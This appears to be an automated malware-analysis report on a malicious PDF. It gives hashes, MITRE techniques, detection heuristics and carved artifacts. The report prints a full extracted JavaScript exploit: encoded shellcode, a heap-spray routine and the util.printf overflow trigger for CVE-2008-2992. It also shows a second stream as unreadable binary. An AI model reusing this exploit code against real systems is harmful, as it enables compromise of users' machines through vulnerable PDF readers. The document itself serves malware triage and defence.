Malicious PDF — malware analysis report

Static analysis result for SHA-256 e9798aff2f02afd1…

MALICIOUS

PDF

195.8 KB Created: [ƖGÛÎ{S咩¯ˆF:Àîì9›©i-êoWêE~à¯pYúª&äÎy¸j¡„ Authoring application: Œ¯=щ3Y·ð(☈Úÿ`²‚|&)}æ·zïó.3ÛÙp8OXGd·*©²¥~9H’ùÒdë˜Ñ–õæ( f¯ƒáåÆÅðÕú€ (via Šâ$—ëYQ ÷–^N]…GP¬—qYÊ¥Sñ»Uãür¹&tÂkìÎ0ß§µf…Ùué9‰&HÒ'†YÕ ÒHŽE±8‘8_) First seen: 2026-05-10
MD5: 4563e9cb9a3f490290f347a3027d7d40 SHA-1: 9450e983ff9ac784ae3bdcb0c4c544ea61e61bf1 SHA-256: e9798aff2f02afd18d25868da81a62319adba178e4cb9cae91a92b8c3cb491ed
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_ENCRYPTED_WITH_JS heuristic further suggests that the JavaScript is used to conceal the actual payload, likely for malicious purposes. The obfuscated nature of the JavaScript and the encryption point towards an attempt to evade detection and deliver a secondary stage. No specific IOCs were extracted due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9939

Heuristics 7

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (matched in decompressed stream)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Encrypted PDF carries /OpenAction — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/OpenAction). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.microsoft.com/typography/ctfontshttp://fontfabrik.comYou Referenced by PDF JavaScript
    • http://www.microsoft.com/typography/fonts/default.aspxReferenced by PDF JavaScript
    • http://crl.microsoft.com/pki/crl/products/CSPCA.crl0HReferenced by PDF JavaScript
    • http://www.microsoft.com/pki/certs/CSPCA.crt0Referenced by PDF JavaScript
    • http://crl.microsoft.com/pki/crl/products/tspca.crl0HReferenced by PDF JavaScript
    • http://www.microsoft.com/pki/certs/tspca.crt0Referenced by PDF JavaScript
    • http://www.microsoft.com/typographyReferenced by PDF JavaScript
    • http://www.microsoft.com/typography/ctfontshttpReferenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x1025 5343 bytes
SHA-256: adf4346f3b7f31ce13d10c84a037461960fbde579ec379abca0d9033272d8ced
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). 10 of 15 identifiers look randomly generated (e.g. 'RAGktXVqRJuQZboWAMSWlZrYcPJJouiLBRCilzpa') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var UgLWVJi = unescape("%u2470%u9798%u7e75%u830d%uebd0%u787d%u407b%ub046%ub7b8%u3704%u76a9%u7741%u674e%u7a25%u7374%u991c%u4b27%u3c3d%u4fb2%u420c%u932c%ud681%u0b14%ubfd5%u4771%uf533%ue021%u357c%ub6be%u969b%uf887%u66b9%u23a8%u18fc%u2dd4%u3492%ue08c%ufd03%uc185%ub1f9%u0575%ube37%u7877%u7c0c%u3174%u38e2%u97d4%u9890%u3f47%u76b7%ueb01%uf810%u04ba%ub4b6%u1541%u227e%u34e3%u707d%u3d24%ub91d%u1466%u73a9%ubf25%u9349%u4e43%u2d96%u7b1c%ufc13%u718d%ub22f%ue189%u402c%u9fb0%u4b67%u7ab8%u4f46%u7f27%uf53a%u1a79%ua8d5%u3235%u99d6%u9b92%u4ab3%u0db5%ubb3c%u4872%ufd80%u9142%u7b42%u3572%u7fbb%u7871%u3f7d%u757e%u1b67%u20f8%ud3f7%u2fe2%ud62a%ue039%u467c%ub9b2%u9f92%u4e05%uba37%u7a96%uf512%u47a9%ub3a8%ub58d%u844b%u25eb%u9904%u1c49%ub1b0%u15be%u119b%u3ce3%u9348%u30b6%u77fd%ud56b%ufe88%uc7c6%ufcc0%u70bf%ub84a%u6679%u901d%u140c%u984f%u4391%u2d74%u7376%u3427%ub424%u3d97%u2c41%u02b7%u08d4%u40f9%ue119%u0d66%u7a7e%ue309%u4734%u4e67%ub396%u0d76%u73bf%u467f%ub440%u2d90%u438d%uf528%u797d%ufc3b%u7c48%uf869%u4ab5%u157b%u0c1c%u373c%ub7a8%uba41%u98b0%u3525%ufd0a%u86bb%ud5f6%u4b9f%ud12b%u49e0%uf787%u70d6%ud22b%ubed4%u3f74%ub604%u1391%u71f9%ub21d%u72a9%u9b42%u2492%u4fb9%ue280%u7877%ub82f%u272c%ue111%ub114%u3d93%u9905%u7597%ueb01%u7f7d%ud539%u74b3%u7c47%u4b43%ua990%ue388%ue13b%u6775%u9fba%u99b0%uf809%u2077%u14d4%u3327%uc1ff%u7ed6%ue202%ue01a%ub41c%ub62f%u9137%u933c%u7aa8%u7b1d%u123f%u8dfd%u499b%u7970%ubb48%u4f41%u2405%ub70d%u2ab2%u71f9%u4e76%u974a%u0c3d%u04bf%ub992%u31b1%u15eb%u2d96%uf508%u3478%u46b8%u2c72%u2542%u9866%ufc85%ub535%u73be%ub640%ud430%u0a7f%u27eb%u7874%u7577%u7d71%uc028%u81d5%ue2d3%u1b72%u4bf8%u0cb3%u7e97%u2f05%u7b42%u1541%ub443%ua890%u2966%u35e1%u4691%u7c9b%ub904%u9693%u70b0%u4076%u2347%ue0f6%ubb34%u7ab7%ub124%u3c98%ubf4f%u6779%uf584%ue389%u1449%u733f%u0d4a%ubeb2%uf921%u9948%u3d7a%u767c%u7e37%ud00b%u19e2%ua9d6%u1d70%u1c77%u7b8d%u9f4e%u3a74%u7dfd%ueb32%ub82c%ub5ba%u2273%u25e1%u7f92%ufc03%u2d71%u83b4%u2de0%u3848%ub3f5%u72f8%u923d%u8c3c%u43e3%u9967%u0478%u0dbf%ufc10%uba4f%u98b1%u2c75%ud569%u349f%ub046%u9bb7%u2479%ub627%u154e%u91b8%u0541%ua9be%u4b49%u9097%u37a8%u8d42%ud640%u472f%u351c%ud46b%u860c%u93f9%u4ab5%ub914%u1dbb%u2596%u663f%u18b2%ud9fd%ud9c5%u2474%u5bf4%uc933%u2dbe%u984e%ub169%u3149%u1973%ueb83%u03fc%u1573%ubbcf%u8164%u4486%u5295%ucdf8%u6370%ua92a%ud6f1%ub9fa%udb54%uef71%u684c%u38f7%ud962%u1ebd%uda4d%u9f70%u1801%u6313%u4d58%u5af3%u8093%u9bf2%u6bce%u74a6%ude84%uf056%ue2d8%ud657%u5a56%u532f%u2fa8%u5a85%u80f9%u1592%uabe1%u85fc%u7f10%uf91f%uf45b%u89eb%udc5d%u7122%u206c%u4ce8%uad40%u89f1%u4e67%ue184%uf39b%u319e%u2fe1%ua42b%ubb41%u0c8b%u6873%uc64d%uc57f%u801a%ud863%ubacf%u5198%u6cee%u2129%ua8d4%uf171%ue875%u54df%uea8a%u09b8%u602e%u5d2a%u2b48%u9223%ud466%ubcb3%ua7f1%u6381%u2fa9%uecaa%ub777%uc6cd%u27cf%ue930%u612f%ubdf7%u197f%ubdde%ud914%u6bdf%u89ba%uc44f%u7a7a%ub430%u9012%uebbf%u9b02%u8415%u61a8%u6bfe%u5284%u03ff%ua2d6%u8fee%u445f%u207a%ude09%ud913%u9410%u2682%ud08f%uad85%u2423%u464b%u364e%ua63c%u6405%ub9eb%u03b0%u2c14%u823e%ud843%uf33c%u47a4%ud6bf%u4ebe%u9955%uaea8%u19b9%uf929%u19d3%u5d41%u4987%ua274%ufe12%u3725%u579c%u9099%u55f4%ud7c4%ua55b%ue623%u70a0%u6c0a%uf6d0%uac7e");
		var bbUWCEsUOhzcXtRuuImsGQuEEHinuokrjYwDRLyHWqYKxfwXxacwKnzvyStgByANkpiCU ="";
		for (bUxpVfCzImXpF=128;bUxpVfCzImXpF>=0;--bUxpVfCzImXpF) bbUWCEsUOhzcXtRuuImsGQuEEHinuokrjYwDRLyHWqYKxfwXxacwKnzvyStgByANkpiCU += unescape("%u4bd6%u9b93");
		rH = bbUWCEsUOhzcXtRuuImsGQuEEHinuokrjYwDRLyHWqYKxfwXxacwKnzvyStgByANkpiCU + UgLWVJi;
		nAGMnmmUVoREQbUlgpTfKbIHFBQDMfSjswpH = unescape("%u4bd6%u9b93");
		RAGktXVqRJuQZboWAMSWlZrYcPJJouiLBRCilzpaJfIqAaRTbMJNVHkkjVgYcobovKFiZHrWUPrBPhgupXYVkfdmM = 20;
		vVxqRgxpqIUkBARiRlVIyoEbjLMZtcRvlqMpCqEnaqVLwyflylwTcnR = RAGktXVqRJuQZboWAMSWlZrYcPJJouiLBRCilzpaJfIqAaRTbMJNVHkkjVgYcobovKFiZHrWUPrBPhgupXYVkfdmM+rH.length
		while (nAGMnmmUVoREQbUlgpTfKbIHFBQDMfSjswpH.length<vVxqRgxpqIUkBARiRlVIyoEbjLMZtcRvlqMpCqEnaqVLwyflylwTcnR) nAGMnmmUVoREQbUlgpTfKbIHFBQDMfSjswpH+=nAGMnmmUVoREQbUlgpTfKbIHFBQDMfSjswpH;
		BddfrIvlrDBvQbkizfgQzPhEbVyIcUxOWrRhBiuxdolZeWVtdkbJASYeZjqcHSXqTZRLzqmTElKzdJFy = nAGMnmmUVoREQbUlgpTfKbIHFBQDMfSjswpH.substring(0, vVxqRgxpqIUkBARiRlVIyoEbjLMZtcRvlqMpCqEnaqVLwyflylwTcnR);
		vrfeymwaqmQDYUhGXaklFNnuoZGRVOvtCsoqSUTSEfncfyRyzfZOFcxmNyvmzaWteyj = nAGMnmmUVoREQbUlgpTfKbIHFBQDMfSjswpH.substring(0, nAGMnmmUVoREQbUlgpTfKbIHFBQDMfSjswpH.length-vVxqRgxpqIUkBARiRlVIyoEbjLMZtcRvlqMpCqEnaqVLwyflylwTcnR);
		while(vrfeymwaqmQDYUhGXaklFNnuoZGRVOvtCsoqSUTSEfncfyRyzfZOFcxmNyvmzaWteyj.length+vVxqRgxpqIUkBARiRlVIyoEbjLMZtcRvlqMpCqEnaqVLwyflylwTcnR < 0x40000) vrfeymwaqmQDYUhGXaklFNnuoZGRVOvtCsoqSUTSEfncfyRyzfZOFcxmNyvmzaWteyj = vrfeymwaqmQDYUhGXaklFNnuoZGRVOvtCsoqSUTSEfncfyRyzfZOFcxmNyvmzaWteyj+vrfeymwaqmQDYUhGXaklFNnuoZGRVOvtCsoqSUTSEfncfyRyzfZOFcxmNyvmzaWteyj+BddfrIvlrDBvQbkizfgQzPhEbVyIcUxOWrRhBiuxdolZeWVtdkbJASYeZjqcHSXqTZRLzqmTElKzdJFy;
		TcznYbYykdOTtaJGORxMiemosHF = new Array();
		for (ZylGLHxBbBDBGwHhUXgkGiNfLhebJPpQkaaNuxfLUdXytabLVIXbpjczvQKEJnbjhoRPxSEUAnUXCJXquyRN=0;ZylGLHxBbBDBGwHhUXgkGiNfLhebJPpQkaaNuxfLUdXytabLVIXbpjczvQKEJnbjhoRPxSEUAnUXCJXquyRN<1450;ZylGLHxBbBDBGwHhUXgkGiNfLhebJPpQkaaNuxfLUdXytabLVIXbpjczvQKEJnbjhoRPxSEUAnUXCJXquyRN++) TcznYbYykdOTtaJGORxMiemosHF[ZylGLHxBbBDBGwHhUXgkGiNfLhebJPpQkaaNuxfLUdXytabLVIXbpjczvQKEJnbjhoRPxSEUAnUXCJXquyRN] = vrfeymwaqmQDYUhGXaklFNnuoZGRVOvtCsoqSUTSEfncfyRyzfZOFcxmNyvmzaWteyj + rH;
		util.printf("%45000.45000f", 0);
javascript_obj0004_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 4 at offset 0x1025 1024 bytes
SHA-256: 2df47362922c246a91b0f21805c074bec63caab43669b36e0d5e4a424f799966
stream_004_off0000400b.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x400B 190988 bytes
SHA-256: 1b3d79e17f65a53e314ece9e01b54b298fb91c87ba1abec996f3aa8ae086593b
javascript_obj0058_000.js pdf-javascript-stream PDF /JS object 58 at offset 0x2F46F 5360 bytes
SHA-256: eda6a865a9477c01f4f1c2a961f2512250f983684cd118649487842bde91b08e
Preview script
First 1,000 lines of the extracted script
���Q� J��<����Q�L2���� ��"S6!��3� "B�P���cwAq޴��$jPa�Q�$] I ���rΝ�:Mx9r �t�0�h�[F� ��Q�#\�����������c�V:57� �	�W� 7�ݿ � �,�;�ǜ�8���?�� �$p C,И��� �����NX �� 
 i�q�B P�@�܉{aMM t��k}A j>n��ѽ���V�Ɵv.L�U� �> ���� �fN W�/ + v*��Y�i݉ ��w,t    V���_ ��X�xεx�G?��*G͗��ڋڢ�^$8� ����~u�gL  `��c�hL ��S�R�v Չ����S�$�B���E �'E3(�ҿ=�
W�) �/aW��kT �� ��r� �הo>�8���u@ j Z� �&MXu� �xe�$ �M�h` �S$�r	V܆��'r�:��� �$|��B�&�� K�X����  NU �y� �5*<� ����K����b`�i�� ����N ����  �� 66P��bK�i�rm�}tt S��}�%� �?o����w:��2��EMo=�%�k?�w��|A���  FBU�?�, � ���)Q ��� ߊԑt���dAC)w�I P_ ��J��ѧ���_%  � H  'g3��@�M�\��c�b ��_����@F ݋Rt�"C��vP"n J1��.��whL e��R��ő��(P�8�v  ݺ���> �h�/\ �軸�=O F=$� ɔ��=���Q���t`L �S��;�E#��y�:�$� .��C� F�*F�;E��. �,��` _ä;��	��ܙ #.
j� W����N� �E �� ���R}��x�����
�b#7ī\ڴ1��?bz  Z�耚vv�� u��؂ )�V�- C�1E ;�� �| G�^E�
��Efk�:���/&� Z~W��cJ  � �&y f0&� >�� w ��i뗵�uB-�ܱ � ��
c����:{���FX-��Z�T xke� ���� �
 2��^� �0v��F�����be ��Se ż�|DŽ ���Gu���r7z�� �u��3k1   �� ɰ�h � � ��;W �\�a _;�I*�سm�B�2U ���j>��I3� ��=2��
 �M���Y dLކ(h�:�"y�BQ'}1; iL�� B ϣ�.�  ,���R��� � ݄?>�y��VV�|�� �[	�޿4E�_XfaX"���\�Φ
�A�l^��m1�d����"��1mo���D͖ W�m�@�d c�	� u�4��G ��JY[u-�� ���<���B���
�#���yH���h�ק���aY�Oh��UL~T���vl�ia� C ��� �oI��mc���Mں� � ��}�I݊�d   �Ξ�|�� G ����! �Т`J%� � �
��Jjn>�m8 �yX� �� ⊲ ��`= �l��W�����T.奡h�^�%�Ab�A ͊ C�e��� ن��D � ? �z�t偪V~k ��!-��`Z_G [��UE�4n � �r�&��^�Y ��jw�0 ��=QH �5^���d�#� 9G}eo  �	O|� � � ���Ƥ�� �s >܅ǫ�� ��J%��k|���� +���d�6 4g��0���Mֺ����DV �T�n3��wI�݆㳲�����|R�m�Yke�q�٢� B닜aJ� ��u4}GQ G����N��1�� 1�  1��T�~/�VM� 56���# &ϴ# /�BX��lV �}� s B�� � ���A�  ����� �X�9/J7�e@ �� �� �ަ $}	 8����#ì "7���J�3�  a�(���m�V�[4V ���G� �mf�"V��z[O��- �0r��cs ��;�+  � !b ׷� eo %��x ��� !b� �!�� ^e��v� ��p5�!%�j���4 �y�9y( �UEl%��  ��2����ԧ b"�נ0�7b2NO�9A� (g�Ƈ~��Fz� m �.!Z�B|迫�i��zS1�k H�g� ��� �4�^F� �*�[ �|p�$���}� ��D���2x�$#� � x(�����3򵑤�
xjMþ7P�6C|���I�# � �  {���#�N�R5���Up31�p��A��
�6���ܚl6��1]�VŮ�* �� ���� �X  _R�ąE�_�g���E֜l��C� ꌢB @h�R ; � �����,X�X�w�1����*�y�t *   \a�'M N,^���\� ��  �,_߰0� 봗 �h6 g����a �ft�=�k  ��tU��͚��p}sY ����q� #WQg�`�ij ������ 8t� � ?#�2   g �cf�f��i�� ����2�,��9Q��x  �߂\ _f    �	:4 d��T $�c ^� N� ��?�I�k ��u  ��   7��J�� <��1�c�ƺ@n %; K�  G^�
r��=�Z>��2m �k �h� ��T ^�;�Ľ�  jF n�� ��+��*:	 ��,�Xa��X�,w �~�-^�r�W���0��i�_�?�)L�@��UVP���  w �O\ԡt � ��8�h�
�7� /��,��k��f x�����;� �q <( �(��b��� �O-  q� 	E � ��y e�{�X�̐d'\;�� ���#�!u& ?׮Z��x�����w!���س �a�8Cu�}�R� R�HT�W묄���-x��߽��ɮ  �
d*�  e�8  ��TkƁa�f3 � � �F"`s�ӴE���۫@�����Ka �{T�7&��S��� �`gf wU[G�⫰2 �O� ��{9���(4 C$�IJ��" 7��� V	
��T�!O �vl�oQ �> uT �` ��^@W�����-���Ve� &\
O�٩f�$�^&� s���<�� �� ���I �C 6b��>�E�}�]� ����� 6u .�s� �8` U� ��u�	&��6� )� '�� �J:�Jǻ  ha�ߞ:J�,  9��P�L��� ɨ �	�x�Py ��,	`�*1�!�Ĉ% �8 7 re-�
22H8a,  ,�Q��M'Dz\\� �
�B  �}�_�̗������M8 d����$��%m� h'���� !� �
n � �lN���U��Tu
�D���y��� 62p��bq��O;-��M: :R{!<� z/ ^��M��.Z��Of�H��DD 4.a	���&� ��7���� �s�D�'}`�j  ��&�	��u6� �c� ۋ:  +r�a��|���7x)�  �-�=E�� |
� &E� �; �
~�@c  ���J�i���Tc��+�ێ ��0�î������n�  ��RH;� �[ Hy�WB �Y	� y� � ���a�biq� �ɩY:I�`�e$��"�
(����Tv�]	������� ���9� q �Dʉ?/�rq� ��� ༉il� v ������Rk� �� �� .)�����L��Έ��\Q�rsҘz����D  � ��H5 ��#�_/��ݘ���i| �+Ī0 |   Z�o��/.���DN-����շ �e�Mf E�N  ��P�4� ���- � �#]/:��ڤ�+Yo� O ��0�z�'� 6	tT�ߺ}c'*1  R��0�8 p���S�  �lc"�����4 ���Wh�~;Ϻ�%�L�ӛ��'�?��ym�9� :H�ث�  a�� � ��\  � /w�r�.=- ��@�� {�{� �
 ���;� � c/���9�C��6 � ���[�gH���g �, t� \N�Y���;�z�a�ʌS��H�g ?��O�z��!���+&� A�m�_�u@_�� #������{���%6$�O2x  � �H����o��T�$Z<� M�>�a (7�Y�� Ծ���=�ǻv�I�� <��0bT�f��%��� ��;�T:)
;�x�״ ��<�j�� S��P� G���u ��B�Xه ���  ��s�H  �/� ��8K���	q� ^ �<���P �=���lj�����M ���6&�� M���i ��O����wB F�:� k10� Kؘ��>4� �󭛹�K �3&0۴\�a� ��wՙ�^��.���RV�)J,S=D�� �Qg� J�y�.$	uڬ����%7� �,Pyխ��i�j5 M�(d2��� �  ��K� �AS�ĸ �a�� Ǒ'���  C � :��� s�5 �9BܰoA[��f�}'${�02 �p�8q�6��;?kt�?(+ B�Qt]ŻEp9h���Ķ  �{8~�!_�eyuGK .��^�t��$�� � � �ŵ1�ǚ�a{������YcnT�#e�� ��	x�����6P�� � 9:θӅ ���F�"�* $dy��'�o �� �:	 -�#��hs$�_����&!��{� ���ŋ����@�� �V@�pX�ܯ�ҬJ7�J �∻km����ZB��^  �3��:��<d�3m� ���g��� � .� D�    1\f�����r� -�����Q]m��� yp�cx�  �	���9jc O#:� (�*��i !7Z�� :�� =�c�>c5O�;R�� �e��e�V�AB����g�CX 
�k� n����`jsH8 �� �$ n G��v+ �sq\b]t�9 ��� ���z� R/�t𿨿�Kn��
���#�� �tm}c� ��� �"3x�U�!*���t.JzkI��  w؊��
K � �t�� 9�e��� m�~�I�wDžQR�HO��h� !v���h ���W���  ����T��/ �� b�ϣ.\�3��.�<0�{� �/�4 � � �ف=� f�N�IE�c�/i�1B��J9���nk�,�9���买w�O �v���UV4�E��-�^�g�7�2��a������ O:�Ԭ˦ �2��L�� I���T5��=�w��} ��i$ �[ ���tk��N|>[@ �ݓ~8' �B  +�.*�A,�SM��  _����/��vA��p7So	_"ۮ�sUJ�|�� 0  #/ ��'/
,y��Q��YM�|c�� [��L���IV2��@+u��z
84Du�ޅ�j^�[���!�! LKO� .� T��q�e���E���T� �
`�lS�8F{���h���(��OuYY&� t��C_��32��d�o�\����� ��3���
�s:��U�v�3�.  �&� �  h�N$
`8�y/� � P�����J(P\p7�<G�A;2ƽ_N��E���@��WҼT�M��_EH�C{� �6�炖�eh � `���Xv�1�)|F"��=ߩ�O����uI E- �㢁���& �dU��n�N� ��@"d��c  o ~s� ��t:�s�>
�晕�z ��à�C&  ��^� ���]�D c�"$k�r=�]�v\ +hB>*�.�FDEO ��2�V 2u�sH �}�k�KlÉ�ko�SR � �Cm � ׏��8Va � +�����[������� ���  c�q= ؅�Yv�����+� C�ʜ�Ż*D)ǭq� �4�  doG�| ;D���"�fby�_�
�A"~�  �~�� ��U�q, L6���T� � ��/E���ي}���5�t~�T 6�� n �@މ����x*�i��1� � `x�; ���Y�. ���1a��\�Y����\)��ip�b%�
�gil�x��:@�Jv�(�'n� ;�5@ ��<qw�S